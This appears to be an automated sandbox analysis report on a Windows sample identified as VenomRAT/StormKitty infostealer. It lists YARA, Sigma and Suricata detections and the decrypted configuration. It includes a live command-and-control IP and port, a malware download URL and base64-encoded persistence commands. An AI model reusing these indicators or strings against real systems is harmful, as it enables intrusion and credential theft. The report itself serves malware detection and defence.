0.2.rwvg1.exe.3f8d37a.5.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x46c5c2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x46c47e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x46c578:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x46c50e:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x46c532:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x46cd80:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x46e7f7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x4618ea:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x449065:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x450f28:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x1da271:$sk01: LimerBoy/StormKitty 0x12ebc8:$str01: set_sUsername 0x42c5e8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x439b1a:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x44eed5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x44f98f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x4530de:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x4530b9:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.?)" 0x468765:$str10: encrypted_key":"(.?)"
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696d8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x4657a8:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x4754ee:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x475532:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x41fb9b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x436060:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x449f9b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x475de0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x465ec8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x4750ce:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x4696d8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2 0x46963b:$s2: L2Mgc2NodGFza3MgL2
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x4752c0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x475300:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x47534e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x47539c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x46d49c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x472e37:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x472e1d:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN 0x472dff:$s3: \VPN\ProtonVPN
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x467b81:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x467bf3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x467c7d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x467d0f:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x467d79:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x467deb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x467e81:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x467f11:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1da25e:$x2: https://github.com/LimerBoy/StormKitty 0x1da27a:$x3: StormKitty 0x15a26a:$s2: GetAntivirus 0x457c8a:$s2: GetAntivirus 0x1702d0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x46dcf0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x16971b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x46713b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x16ad43:$s6: "encrypted_key":"(.?)" 0x468763:$s6: "encrypted_key":"(.?)"
0.2.rwvg1.exe.3f8d37a.5.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x465738:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x4618ac:$s6: VirtualBox 0x47142b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x46ce48:$s8: Win32_ComputerSystem 0x471391:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x469f74:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x469b91:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x469c2e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x469d43:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1 0x469e2b:$cnc4: POST / HTTP/1.1
0.2.rwvg1.exe.3e695f0.7.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
0.2.rwvg1.exe.3e695f0.7.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.2.rwvg1.exe.3e695f0.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.rwvg1.exe.3e695f0.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.rwvg1.exe.3e695f0.7.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
0.2.rwvg1.exe.3e695f0.7.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
0.2.rwvg1.exe.3e695f0.7.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x53ee28:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x589c52:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x58cfd5:$a3: START "" " 0x58d4ea:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d3c5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d462:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
0.2.rwvg1.exe.3e695f0.7.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x59034c:$str01: Processe: 0x2927e8:$str02: Compname: 0x590208:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x590302:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x590298:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x5902bc:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x590b0a:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x592581:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x585674:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x56cdef:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x574cb2:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths
0.2.rwvg1.exe.3e695f0.7.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x2fdffb:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x550372:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x55d8a4:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x572c5f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x573719:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x576e68:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x576e43:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.?)" 0x58c4ef:$str10: encrypted_key":"(.?)"
0.2.rwvg1.exe.3e695f0.7.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d462:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x589532:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x599278:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x5992bc:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x543925:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x559dea:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x56dd25:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x599b6a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x589c52:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x598e58:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
0.2.rwvg1.exe.3e695f0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x58d462:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2 0x58d3c5:$s2: L2Mgc2NodGFza3MgL2
0.2.rwvg1.exe.3e695f0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x59904a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x59908a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x5990d8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x599126:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
0.2.rwvg1.exe.3e695f0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x591226:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.2.rwvg1.exe.3e695f0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x596bc1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x596ba7:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN 0x596b89:$s3: \VPN\ProtonVPN
0.2.rwvg1.exe.3e695f0.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x58b90b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x58b97d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x58ba07:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x58ba99:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x58bb03:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x58bb75:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x58bc0b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x58bc9b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.rwvg1.exe.3e695f0.7.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x2fdfe8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x2fe004:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x57ba14:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x591a7a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x58aec5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.?)" 0x58c4ed:$s6: "encrypted_key":"(.?)"
0.2.rwvg1.exe.3e695f0.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x5894c2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x585636:$s6: VirtualBox 0x5951b5:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x590bd2:$s8: Win32_ComputerSystem 0x59511b:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x58dcfe:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58d91b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58d9b8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58dacd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1 0x58dbb5:$cnc4: POST / HTTP/1.1
Click to see the 114 entries

Sigma Signatures

System Summary

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\rwvg1.exe", ParentImage: C:\Users\user\Desktop\rwvg1.exe, ParentProcessId: 7796, ParentProcessName: rwvg1.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline", ProcessId: 7820, ProcessName: csc.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\rwvg1.exe, ProcessId: 7796, TargetFilename: C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\rwvg1.exe", ParentImage: C:\Users\user\Desktop\rwvg1.exe, ParentProcessId: 7796, ParentProcessName: rwvg1.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline", ProcessId: 7820, ProcessName: csc.exe

Suricata Signatures

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T19:14:23.810750+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.177	4449	192.168.2.8	49705	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: rwvg1.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://147.45.44.131/infopage/ersyb.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll

Avira: detection malicious, Label: HEUR/AGEN.1300034

Multi AV Scanner detection for submitted file

Source: rwvg1.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: rwvg1.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: 4449
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: 157.20.182.177
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: RAT + hVNC 6.0.5
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: false
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: rbdebzqnfarpyomol
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: MIICLjCCAZegAwIBAgIVAPMNUbaXLLtiHcN1m+dlPpK7vns9MA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMTgxNjQ3MjZaFw0zNDEyMjYxNjQ3MjZaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCaTwbFDhuWkASq9P+NWgPLnP41KwsDJJLX7xv2vo4FUXTwpEsoIrbqvSKldDp6m3lNHXNWYqqy0JX1ZnvClJ/gvVpmMCJfzkIDbW0sKPoOMmwx4PjzdNDQbKSSmM6rMMu8tDchwJEfQtMlgGPXFsMnPTYj6xNeMBCjcTIP5gwFCQIDAQABozIwMDAdBgNVHQ4EFgQU06NiTQAo8LSYzcJVCrt9Ah49blwwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQBg3cQkJK1HiQGjHKgDefp3ooSUSiEh+SRWC4Q/Jsp2TsM6Me9+ix/2g+oxV6/rhaeJkcDDCBtnjouhViDhezLBfl3oE0P29Ssq/skwUyjEZDScIepLewWrtQYtjyYbQL/ubsa0hoLDSZaKydxgH8cAtvOvMqE6WjrfEvcVupZLMQ==
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: Q+AFJAFiCL8OIXnK8vpppK2iElr5z1WborIl7rv6KiQoJrBbUTm5VXnSYAmidoRGFDhbPZQNsmEzkAX+OxkvuApCdcHhIykks+QzQbWVaQ2kFUGLle9WnlLZKzmw4R0L8hrBDa6GtG0avdXbvgSOzH5rALYyXUgmgBPNJoJdbSM=
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: null
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: false
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: false
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: Default
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: false
Source: 0.2.rwvg1.exe.3e695f0.7.unpack	String decryptor: false

Source: rwvg1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.177:4449 -> 192.168.2.8:49705

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 157.20.182.177:4449

Source: global traffic

